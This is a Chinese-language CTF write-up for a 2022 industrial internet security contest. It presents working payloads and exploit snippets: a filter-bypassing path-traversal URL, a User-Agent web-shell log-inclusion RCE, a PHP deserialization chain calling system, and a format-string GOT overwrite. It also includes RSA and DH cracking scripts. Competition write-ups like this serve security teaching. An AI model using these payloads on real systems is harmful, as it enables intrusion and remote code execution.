2022年中国工业互联网安全大赛北京市选拔赛暨全国线上预选赛-Writeup
字数 1732 2025-08-06 18:07:44
工业互联网安全大赛Writeup教学文档
0x01 WEB - ezRead题目解析
漏洞发现与利用
-
初始发现:
- 题目提供URL
/read.php?Book=ZGRsLnR4dA==,参数值为base64编码 - 尝试发现存在任意文件读取漏洞,但过滤了
../
- 题目提供URL
-
绕过过滤:
- 使用
str_replace复写绕过:.. var /www/ctf/read.php - 最终payload:
read.php?Book=Li4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vLi4uLy4vdmFyL3d3dy9jdGYvcmVhZC5waHA=
- 使用
-
源码分析:
- 读取到
read.php源码确认存在str_replace过滤 - 通过
/etc/passwd发现/home/ctf目录 - 爆破发现
.bash_history文件,获取历史命令
- 读取到
-
关键突破:
- 发现
V72J1dn23wjFrq/demo.php路径 - 读取
demo.php源码发现任意文件包含漏洞 - 使用
/proc/self/fd/8技巧完成RCE(日志文件描述符)
- 发现
-
最终利用:
- 修改User-Agent注入一句话木马
- 包含
/proc/self/fd/8执行命令 - 在
/home/ctf目录下找到flag
0x01 WEB - wakeup题目解析
反序列化链分析
-
类结构分析:
KeyPort: 含__call、finish和__wakeup方法ArrayObj: 含__get方法,处理私有属性访问SunCorpa/MoonCorpa: 含__destruct方法作为入口点
-
关键绕过技术:
- 使用引用赋值绕过
__wakeup限制 - 通过
ArrayObj的私有属性iffinish触发__get - 构造链使
KeyPort->wakeup被赋值为false
- 使用引用赋值绕过
-
利用步骤:
- 第一部分:通过引用赋值使
wakeup为false - 第二部分:通过引用赋值控制
format数组 - 最终调用
call_user_func_array执行命令
- 第一部分:通过引用赋值使
-
EXP构造:
class SunCorpa { public function __construct() { // 第一部分构造 $key1 = new KeyPort(); $arr1 = new ArrayObj($key1->wakeup); $arr1->name = array("iffinish" => false); $key1->finish = $arr1; // 第二部分构造 $moon = new MoonCorpa(); $moon->options = array("new" => $key1); $key2 = new KeyPort(); $arr2 = new ArrayObj($key1->format); $arr2->name = array("iffinish" => array("forward" => "system")); } }
0x02 Crypto - cry1题目解析
RSA漏洞利用
-
题目特征:
- p和q非常接近,q = next_prime(p + 2^420)
- 可以使用费马分解法爆破
-
爆破脚本:
for i in range(1, 999999): att = 2**420 + i if iroot(att**2 + 4*n, 2)[1]: ppp = (iroot(att**2 + 4*n, 2)[0]) p = (ppp-att)//2 q = n//p d = inverse(e,(p-1)*(q-1)) m = pow(c,d,n) print(long_to_bytes(m))
0x02 Crypto - cry2题目解析
Wiener攻击应用
-
题目特征:
- 给出条件
i*p-j*q < n^0.342 - 符合Wiener攻击的变种条件
- 给出条件
-
利用方法:
- 直接使用已知的p值解密
- 因为p|n,可以直接计算φ(p)=p-1
- 使用
pow(c, inverse(e, p-1), p)解密
0x02 Crypto - cry3题目解析
DH密钥交换破解
-
参数分析:
- p = 2^425,离散对数问题简单
- 可以从日志中提取A和B值
-
破解步骤:
- 解离散对数得到a和b
- 计算共享密钥
share = pow(A,b,p) - 使用SHA256生成AES密钥
- 解密flag密文
0x03 PWN - 究极输出题目解析
格式化字符串漏洞利用
-
漏洞点:
- 循环内
printf(buf)存在格式化字符串漏洞 - 偏移3的位置可以leak libc地址
- 循环内
-
利用步骤:
- 泄露libc地址计算system地址
- 通过格式化字符串修改printf的got表
- 将printf@got改为system地址
- 最后传入"/bin/sh"触发system调用
-
EXP关键部分:
# leak libc fang.sendline("%3$p") libc_addr = int(fang.recv(14), 16) # write to got payload = "%13200c%6$hn" payload = "%4207505c%17$n" # modify got payload = "%" + str(system_addr_low) + "c%8$hhn" + "%" + str(system_addr_high - system_addr_low) + "c%36$hn" # trigger payload = "/bin/sh\x00"
0x04 MISC - 签了个到题目解析
解题方法
- 玩羊了个羊游戏,不断点击消灭方块
- 完成游戏后自动显示flag
总结
本Writeup涵盖了多种安全技术:
- Web方向:文件包含绕过、反序列化链构造
- Crypto方向:RSA特殊参数分解、Wiener攻击、DH密钥交换破解
- PWN方向:格式化字符串漏洞利用
- MISC方向:简单游戏通关
每种技术都有其特定的应用场景和利用方法,理解这些技术的原理和实现方式对于CTF比赛和实际安全研究都至关重要。